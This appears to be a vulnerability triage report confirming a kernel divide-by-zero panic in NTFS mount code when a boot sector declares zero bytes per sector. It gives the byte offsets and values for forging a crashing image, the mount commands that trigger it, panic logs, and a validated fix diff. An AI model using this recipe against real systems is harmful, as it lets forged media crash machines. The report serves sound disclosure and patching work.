# DF-2554 — NTFS divide-by-zero on unvalidated boot sector (bf_bps=0) — VERDICT

## Verdict: REPRODUCED (deterministic #DE panic at mount); fix VALIDATED

- **status:** reproduced
- **reproduced:** 1
- **impact:** panic (local root-mount DoS; auto-mount threat model)
- **confidence:** certain
- **fix_status:** fixed

## The bug (confirmed in source, line-by-line)

`sys/vfs/ntfs/ntfs_vfsops.c` `ntfs_mountfs()` reads the boot sector with
`bread(devvp, BBLOCK, BBSIZE, &bp)` at :327 and `bcopy()`'s it into
`ntmp->ntm_bootfile` at :331. `struct bootfile` (`sys/vfs/ntfs/ntfs.h:223`,
`#pragma pack(1)`) lays out the on-disk fields directly, so attacker-controlled
boot-sector bytes become kernel fields with no normalization. The **only**
validation is the 8-byte magic check at :343
(`strncmp(bf_sysid, "NTFS    ", 8)`).

`ntm_bps` (= `bf_bps`, `u_int16_t` at boot-sector offset 11) is then used as a
**divisor** at :354:

```c
349:    int8_t cpr = ntmp->ntm_mftrecsz;
350:    if (cpr > 0)
351:        ntmp->ntm_bpmftrec = ntmp->ntm_spc * cpr;
352:    else
354:        ntmp->ntm_bpmftrec = (1 << (-cpr)) / ntmp->ntm_bps;  /* #DE if bps==0 */
```

A crafted image with `bf_bps == 0` and `bf_mftrecsz <= 0` (signed; e.g.
`0xF6` = -10, the documented fractional-MFT-record encoding) reaches the `else`
branch and executes a `idivl` by zero → CPU **integer divide fault (#DE)** →
kernel panic. `ntm_bps`/`ntm_spc` are *also* divisors in the conversion macros
`ntfs_btocn`/`ntfs_cntob` (`ntfs.h:289-291`), so a zero geometry field is
fatal in multiple places; :354 is simply the first hit during mount.

## Reproduction (unpatched #0 baseline)

`gen_image.py` writes a 1024-byte (BBSIZE) image with:
- offset 3 `bf_sysid = "NTFS    "` (passes the magic check)
- offset 11 `bf_bps = 0` (the unvalidated divisor)
- offset 13 `bf_spc = 1`
- offset 64 `bf_mftrecsz = 0xF6` (-10 signed → `else` branch)

Trigger (root; `vfs.usermount=0` so mount is privileged):
```
kldload ntfs
vnconfig /dev/vn0 evil.ntfs
mount_ntfs -o ro /dev/vn0 /mnt
```

Result on the unpatched `6.5-DEVELOPMENT #0` kernel (`boot.log`):
```
Fatal trap 18: integer divide fault while in kernel mode
cpuid = 0; lapic id = 0
CPU0 stopping CPUs: 0x0000003e
Stopped at      ntfs_mountfs.isra.0+0x5ca:      idivl   %ecx,%eax
db>
```
The faulting instruction is the `idivl` generated from line 354's
`/ ntmp->ntm_bps`. Guest dead (ssh gone), exactly as claimed.

## Threat model / reachability

`mount_ntfs` requires root (or `vfs.usermount=1`, which is 0 on the guest).
This is a **root/local-mount** DoS: an attacker who controls a filesystem
image that an administrator (or an auto-mounter) mounts can panic the kernel
instantly — e.g. a malicious USB mass-storage device, an install image, or any
flow that mounts attacker-supplied media. It is a DoS, not a memory-corruption
primitive (it is a deterministic `#DE`, no attacker-controlled write), so there
is no escalation chain.

## Fix

`fix.diff` adds geometry validation immediately after the magic check and
before any division:

```c
if (ntmp->ntm_bps == 0 || ntmp->ntm_spc == 0) {
    error = EINVAL;
    dprintf(("ntfs_mountfs: invalid geometry (bps/spc)\n"));
    goto out;
}
```

This closes both the line-354 divisor and the `ntfs_btocn`/`cntob` denominator
(`ntfs.h:289-291`). The mount fails with `EINVAL` instead of dividing by zero.

## Fix validation

NTFS is a **loadable module** (`optional ntfs` in `sys/conf/files`; not in
`X86_64_GENERIC`; built as `/boot/kernel/ntfs.ko`), so the fix was validated
by rebuilding just `ntfs.ko` (faster and equivalent to a full kernel rebuild
for this file), reinstalling it, and re-running the *same* PoC:

- **Apply:** `patch -p1 < fix.diff` → `Hunk #1 succeeded at 346`.
- **Build:** `cd sys/vfs/ntfs && make` → `rc=0` (`-Werror` clean; see `fix_build.log`).
- **Install:** `cp ntfs.ko /boot/kernel/ntfs.ko`.
- **Re-run (3×, deterministic):**
  ```
  mount_ntfs: /dev/vn0: Invalid argument
  mount returned 71 (no panic) ; guest up
  ```

Before/after contrast:
| kernel              | same PoC result                                            |
|---------------------|------------------------------------------------------------|
| unpatched `#0`      | `Fatal trap 18: integer divide fault` at `ntfs_mountfs+0x5ca`, guest **dead** |
| patched `ntfs.ko`   | `EINVAL: Invalid argument`, **no panic**, guest up         |

The fix closes the bug.

## PoC changes / artifacts

- `gen_image.py` — host-side image forger (matches DF-2555 pattern); writes the
  minimal 1024-byte boot sector with `bf_bps=0`, `bf_mftrecsz=0xF6`.
- `evil.ntfs` — the generated image.
- `run.sh` — kldload ntfs + vnconfig + mount_ntfs trigger.
- `poc.c` — stub documenting that the trigger is an on-disk image, not a program.
- `build.sh`, `build.log`, `run.log`, `fix_build.log`, `fix_run.log`,
  `panic.txt`, `env.txt`, `fix_kernel.txt`, `fix.diff`, `manifest.json`.
